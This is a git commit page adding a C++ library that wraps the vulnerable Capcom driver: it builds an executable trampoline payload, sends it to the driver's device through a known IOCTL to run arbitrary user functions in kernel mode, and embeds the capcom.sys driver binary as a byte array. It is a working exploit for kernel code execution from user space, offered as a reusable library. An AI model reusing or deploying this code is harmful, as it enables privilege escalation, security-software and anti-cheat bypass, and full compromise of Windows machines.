Add lightweight capcom wrapper code

This commit is contained in:
notscimmy
2018-09-03 23:48:47 -07:00
parent 27984bfb4a
commit f9190d7c83
13 changed files with 796 additions and 0 deletions
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28010.2016
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libcapcom", "libcapcom\libcapcom.vcxproj", "{AE5BAFC9-E4BA-4786-96E4-A564B113B206}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x64.ActiveCfg = Debug|x64
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x64.Build.0 = Debug|x64
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x86.ActiveCfg = Debug|Win32
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Debug|x86.Build.0 = Debug|Win32
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x64.ActiveCfg = Release|x64
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x64.Build.0 = Release|x64
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x86.ActiveCfg = Release|Win32
{AE5BAFC9-E4BA-4786-96E4-A564B113B206}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {902C0E39-B6E8-4DE8-B30F-DB0DD9C9CC1F}
EndGlobalSection
EndGlobal
+21
View File
@@ -0,0 +1,21 @@
#include "capcom_payload.h"
namespace capcom::payload
{
capcom_payload* build_capcom_payload(uintptr_t user_function_wrapper)
{
// allocate a page of executable memory for our payload
capcom_payload* final_payload = (capcom_payload*)VirtualAlloc(nullptr, sizeof(capcom_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// copy our code template into the executable page
memcpy(final_payload->code, code_template, sizeof(code_template));
// fill this member to point to the actual code buffer (as required by capcom)
final_payload->ptr_to_code = final_payload->code;
// fill in the function pointer that will be copied into rax, then jmp'd to
*(uintptr_t*)(final_payload->code + user_function_ptr_offset) = (uintptr_t)user_function_wrapper;
return final_payload;
}
}
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include <Windows.h>
#include <stdint.h>
namespace capcom::payload
{
static const uint32_t user_function_ptr_offset = 0x2;
static uint8_t code_template[] =
{
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // movabs rax, user_function_ptr
0xFF, 0xE0 // jmp rax
};
struct capcom_payload
{
void* ptr_to_code;
uint8_t code[sizeof(code_template)];
};
capcom_payload* build_capcom_payload(uintptr_t user_function_wrapper);
}
+66
View File
@@ -0,0 +1,66 @@
#include <intrin.h>
#pragma intrinsic(_disable)
#pragma intrinsic(_enable)
#include "capcom_wrapper.h"
#include "capcom_payload.h"
using namespace capcom::payload;
namespace capcom::wrapper
{
std::function<void(MmGetSystemRoutineAddress_t)> user_space_function;
// wrap the std::function inside a generic function call, so we can easily grab this function pointer
void capcom_function_wrapper(MmGetSystemRoutineAddress_t _MmGetSystemRoutineAddress)
{
user_space_function(_MmGetSystemRoutineAddress);
}
DWORD capcom_send_payload(HANDLE device, std::function<void(MmGetSystemRoutineAddress_t)> user_function)
{
user_space_function = user_function;
capcom_payload* payload = build_capcom_payload((uintptr_t)&capcom_function_wrapper);
DWORD output_buffer;
DWORD bytes_returned;
if (DeviceIoControl(device, ioctl_x64, &payload->ptr_to_code, 8, &output_buffer, 4, &bytes_returned, nullptr))
{
VirtualFree(payload, sizeof(capcom_payload), MEM_RELEASE);
return 0;
}
VirtualFree(payload, sizeof(capcom_payload), MEM_RELEASE);
return GetLastError();
}
capcom_wrapper::capcom_wrapper()
{
open_driver_handle();
}
void capcom_wrapper::open_driver_handle()
{
driver_handle = CreateFile(device_name.c_str(), FILE_ALL_ACCESS, FILE_SHARE_READ, nullptr, FILE_OPEN, FILE_ATTRIBUTE_NORMAL, nullptr);
}
void capcom_wrapper::close_driver_handle()
{
CloseHandle(driver_handle);
}
void capcom_wrapper::execute_in_kernel(std::function<void(MmGetSystemRoutineAddress_t)> user_function)
{
// let's pray that we don't context switch in the middle of calling our function :)
std::function<void(MmGetSystemRoutineAddress_t)> call_with_interrupts =
[&user_function](MmGetSystemRoutineAddress_t _MmGetSystemRoutineAddress)
{
_enable();
user_function(_MmGetSystemRoutineAddress);
_disable();
};
capcom_send_payload(driver_handle, call_with_interrupts);
}
}
+25
View File
@@ -0,0 +1,25 @@
#pragma once
#include <functional>
#include "structs.h"
using namespace native::structs;
namespace capcom::wrapper
{
static const std::string device_name = "\\\\.\\Htsysm72FB";
static const DWORD ioctl_x64 = 0xAA013044u;
class capcom_wrapper
{
private:
HANDLE driver_handle;
public:
capcom_wrapper();
void open_driver_handle();
void close_driver_handle();
void execute_in_kernel(std::function<void(MmGetSystemRoutineAddress_t)> user_function);
};
}
+217
View File
@@ -0,0 +1,217 @@
#pragma once
static unsigned char capcom_sys[] =
{
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62,
0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xF4, 0x14, 0xDD, 0xA9, 0x95, 0x7A, 0x8E, 0xA9, 0x95, 0x7A, 0x8E, 0xA9, 0x95, 0x7A, 0x8E, 0xA9, 0x95, 0x7B, 0x8E, 0xAE,
0x95, 0x7A, 0x8E, 0xDF, 0x08, 0x01, 0x8E, 0xAA, 0x95, 0x7A, 0x8E, 0xDF, 0x08, 0x14, 0x8E, 0xA8, 0x95, 0x7A, 0x8E, 0xDF, 0x08, 0x02, 0x8E, 0xA8, 0x95, 0x7A, 0x8E, 0x52, 0x69, 0x63, 0x68, 0xA9, 0x95, 0x7A, 0x8E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x05,
0x00, 0x15, 0x14, 0xCD, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x08, 0x00, 0x80, 0x06, 0x00, 0x00, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x06, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x05, 0x00, 0x02, 0x00, 0x05, 0x00, 0x02, 0x00, 0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x1B, 0xEA, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x0A, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x50, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0xE0, 0x04, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, 0x2E, 0x64, 0x61,
0x74, 0x61, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x69, 0x6E, 0x66, 0x6F, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x80, 0x09, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x80, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x14, 0x01, 0x00, 0x00, 0x80, 0x0A, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x80, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xE2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5C, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE3, 0x3D, 0x9B, 0x51, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x4E,
0x00, 0x00, 0x00, 0x5C, 0x03, 0x00, 0x00, 0x5C, 0x03, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, 0x31, 0x69, 0x3A, 0xD1, 0x88, 0x84, 0x8E, 0x4F, 0x83, 0xB3, 0x7F, 0xBC, 0xCD, 0x2E, 0xD9, 0x1C, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x4C, 0x8B, 0xC1,
0x48, 0x8D, 0x0C, 0x24, 0x48, 0x2B, 0xCA, 0x0F, 0xB7, 0x02, 0x66, 0x89, 0x04, 0x11, 0x48, 0x83, 0xC2, 0x02, 0x66, 0x85, 0xC0, 0x75, 0xF0, 0x33, 0xFF, 0x48, 0x8D, 0x14, 0x24, 0x66, 0x41, 0xB9, 0x55, 0x55, 0x66, 0x39, 0x3C, 0x24, 0x74, 0x72, 0x0F, 0xB7, 0x0A, 0x66, 0x41, 0xC1, 0xE1, 0x02, 0x44, 0x8B,
0xD1, 0x66, 0x44, 0x03, 0xCF, 0x41, 0xC1, 0xEA, 0x06, 0x41, 0x8D, 0x42, 0xFF, 0x83, 0xF8, 0x02, 0x77, 0x56, 0x41, 0x32, 0xC9, 0x66, 0x33, 0xC0, 0x40, 0x2A, 0xCF, 0x41, 0x2A, 0xCA, 0x66, 0x83, 0xE1, 0x3F, 0x66, 0x83, 0xF9, 0x0A, 0x73, 0x05, 0x8D, 0x41, 0x30, 0xEB, 0x09, 0x66, 0x83, 0xF9, 0x24, 0x73,
0x09, 0x8D, 0x41, 0x37, 0x66, 0x83, 0xF9, 0x24, 0x72, 0x09, 0x66, 0x83, 0xF9, 0x3E, 0x73, 0x03, 0x8D, 0x41, 0x3D, 0x66, 0x83, 0xF9, 0x3E, 0x41, 0xBA, 0x2E, 0x00, 0x00, 0x00, 0x66, 0x41, 0x0F, 0x44, 0xC2, 0x66, 0x85, 0xC0, 0x74, 0x0F, 0x66, 0x89, 0x02, 0x48, 0x83, 0xC2, 0x02, 0xFF, 0xC7, 0x66, 0x83,
0x3A, 0x00, 0x75, 0x8E, 0x33, 0xC0, 0x49, 0x8B, 0xF8, 0x48, 0x8D, 0x14, 0x24, 0x48, 0x8D, 0x48, 0xFF, 0x66, 0xF2, 0xAF, 0x33, 0xC9, 0x0F, 0xB7, 0x04, 0x0A, 0x48, 0x83, 0xC1, 0x02, 0x66, 0x85, 0xC0, 0x66, 0x89, 0x44, 0x0F, 0xFC, 0x75, 0xEE, 0x49, 0x8B, 0xC0, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0xC3, 0x48,
0x53, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x59, 0x08, 0x45, 0x33, 0xC0, 0x4C, 0x8D, 0x1D, 0x70, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xC1, 0x02, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0x04, 0x00, 0x66, 0x43, 0x89, 0x04, 0x18, 0x49, 0x83, 0xC0, 0x02, 0x66, 0x85, 0xC0, 0x75, 0xE6, 0x48, 0x8D, 0x15, 0xCF, 0x04,
0x00, 0x00, 0x49, 0x8B, 0xCB, 0xE8, 0xF3, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0x49, 0x8B, 0xD3, 0xFF, 0x15, 0x41, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x2E, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x55, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x30, 0x5B, 0xC3,
0xCC, 0xCC, 0xCC, 0x48, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x82, 0xB8, 0x00, 0x00, 0x00, 0x33, 0xC9, 0x48, 0x8B, 0xDA, 0x89, 0x4A, 0x30, 0x48, 0x89, 0x4A, 0x38, 0x38, 0x08, 0x74, 0x0C, 0x80, 0x38, 0x02, 0x74, 0x07, 0xC7, 0x42, 0x30, 0x02, 0x00, 0x00, 0xC0, 0x33, 0xD2, 0x48, 0x8B, 0xCB, 0xFF,
0x15, 0xF8, 0xFD, 0xFF, 0xFF, 0x8B, 0x43, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x8B, 0x44, 0x24, 0x50, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x39, 0x48, 0xF8, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x49, 0x48, 0x8B, 0x44, 0x24,
0x50, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x05, 0xC6, 0xFD, 0xFF, 0xFF, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x21, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0xD0, 0x48, 0x8B, 0x4C, 0x24, 0x30, 0xFF, 0x54, 0x24, 0x28,
0x48, 0x8D, 0x05, 0x22, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0xD0, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x48, 0xC3, 0xCC, 0x48, 0x53, 0x56, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x82, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7A, 0x18, 0x33, 0xC9, 0x89, 0x4A, 0x30, 0x48,
0x89, 0x4A, 0x38, 0x80, 0x38, 0x0E, 0x44, 0x8B, 0x48, 0x10, 0x44, 0x8B, 0x40, 0x08, 0x48, 0x8B, 0xDA, 0x8B, 0x50, 0x18, 0x74, 0x09, 0xC7, 0x43, 0x30, 0x02, 0x00, 0x00, 0xC0, 0xEB, 0x5E, 0x41, 0xBB, 0x44, 0x20, 0x01, 0xAA, 0x8B, 0xC1, 0x8B, 0xF1, 0x41, 0x3B, 0xD3, 0x41, 0xBA, 0x44, 0x30, 0x01, 0xAA,
0x74, 0x0F, 0x41, 0x3B, 0xD2, 0x75, 0x11, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x8D, 0x70, 0xFC, 0xEB, 0x07, 0xBE, 0x04, 0x00, 0x00, 0x00, 0x8B, 0xC6, 0x44, 0x3B, 0xC8, 0x75, 0x27, 0x44, 0x3B, 0xC6, 0x75, 0x22, 0x41, 0x3B, 0xD3, 0x74, 0x0A, 0x41, 0x3B, 0xD2, 0x75, 0x0E, 0x48, 0x8B, 0x0F, 0xEB, 0x02, 0x8B,
0x0F, 0xE8, 0x11, 0xFF, 0xFF, 0xFF, 0x8B, 0xC8, 0x8B, 0xC6, 0x89, 0x0F, 0x48, 0x89, 0x43, 0x38, 0xEB, 0x07, 0xC7, 0x43, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0x33, 0xD2, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xDF, 0xFC, 0xFF, 0xFF, 0x8B, 0x43, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0x5E, 0x5B, 0xC3, 0x48, 0x53, 0x57,
0x48, 0x83, 0xEC, 0x68, 0x48, 0x8B, 0xD9, 0x48, 0x8D, 0x3D, 0xB3, 0xF9, 0xFF, 0xFF, 0x4C, 0x8D, 0x1D, 0x2C, 0x02, 0x00, 0x00, 0x33, 0xC9, 0x0F, 0xB7, 0x84, 0x39, 0x74, 0x07, 0x00, 0x00, 0x66, 0x42, 0x89, 0x04, 0x19, 0x48, 0x83, 0xC1, 0x02, 0x66, 0x85, 0xC0, 0x75, 0xEA, 0x48, 0x8D, 0x15, 0x0D, 0x03,
0x00, 0x00, 0x49, 0x8B, 0xCB, 0xE8, 0x31, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4C, 0x24, 0x40, 0x49, 0x8B, 0xD3, 0xFF, 0x15, 0x7F, 0xFC, 0xFF, 0xFF, 0x4C, 0x8D, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x44, 0x24, 0x40, 0x4C, 0x89, 0x5C, 0x24, 0x30, 0x41, 0xB9, 0x01, 0xAA, 0x00, 0x00, 0x33, 0xD2,
0x48, 0x8B, 0xCB, 0xC6, 0x44, 0x24, 0x28, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x6F, 0xFC, 0xFF, 0xFF, 0x85, 0xC0, 0x0F, 0x88, 0x8F, 0x00, 0x00, 0x00, 0x33, 0xC9, 0x4C, 0x8D, 0x1D, 0x76, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x84, 0x39, 0x58, 0x07, 0x00, 0x00, 0x66, 0x42, 0x89,
0x04, 0x19, 0x48, 0x83, 0xC1, 0x02, 0x66, 0x85, 0xC0, 0x75, 0xEA, 0x48, 0x8D, 0x15, 0x99, 0x02, 0x00, 0x00, 0x49, 0x8B, 0xCB, 0xE8, 0xBD, 0xFC, 0xFF, 0xFF, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0x49, 0x8B, 0xD3, 0xFF, 0x15, 0x0B, 0xFC, 0xFF, 0xFF, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, 0x50,
0xFF, 0x15, 0x13, 0xFC, 0xFF, 0xFF, 0x85, 0xC0, 0x8B, 0xF8, 0x79, 0x10, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x0F, 0xFC, 0xFF, 0xFF, 0xEB, 0x2B, 0x48, 0x8D, 0x05, 0xBA, 0xFD, 0xFF, 0xFF, 0x48, 0x89, 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x70, 0x48, 0x8D, 0x05, 0x54,
0xFE, 0xFF, 0xFF, 0x48, 0x89, 0x83, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x32, 0xFD, 0xFF, 0xFF, 0x48, 0x89, 0x43, 0x68, 0x8B, 0xC7, 0x48, 0x83, 0xC4, 0x68, 0x5F, 0x5B, 0xC3, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65,
0x00, 0x73, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xFA, 0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x48, 0x25, 0xFF, 0xFF, 0xEF, 0xFF, 0x0F, 0x22, 0xE0, 0xC3, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8B, 0x01, 0x0F, 0x22, 0xE0, 0xFB, 0xC3, 0x01, 0x06, 0x02, 0x00, 0x06, 0x72, 0x02, 0x70, 0x01, 0x06, 0x02, 0x00, 0x06, 0x52, 0x02, 0x30, 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x09, 0x01, 0x00, 0x09, 0x82, 0x00, 0x00, 0x01, 0x08, 0x04, 0x00, 0x08, 0x32, 0x04,
0x70, 0x03, 0x60, 0x02, 0x30, 0x01, 0x07, 0x03, 0x00, 0x07, 0xC2, 0x03, 0x70, 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
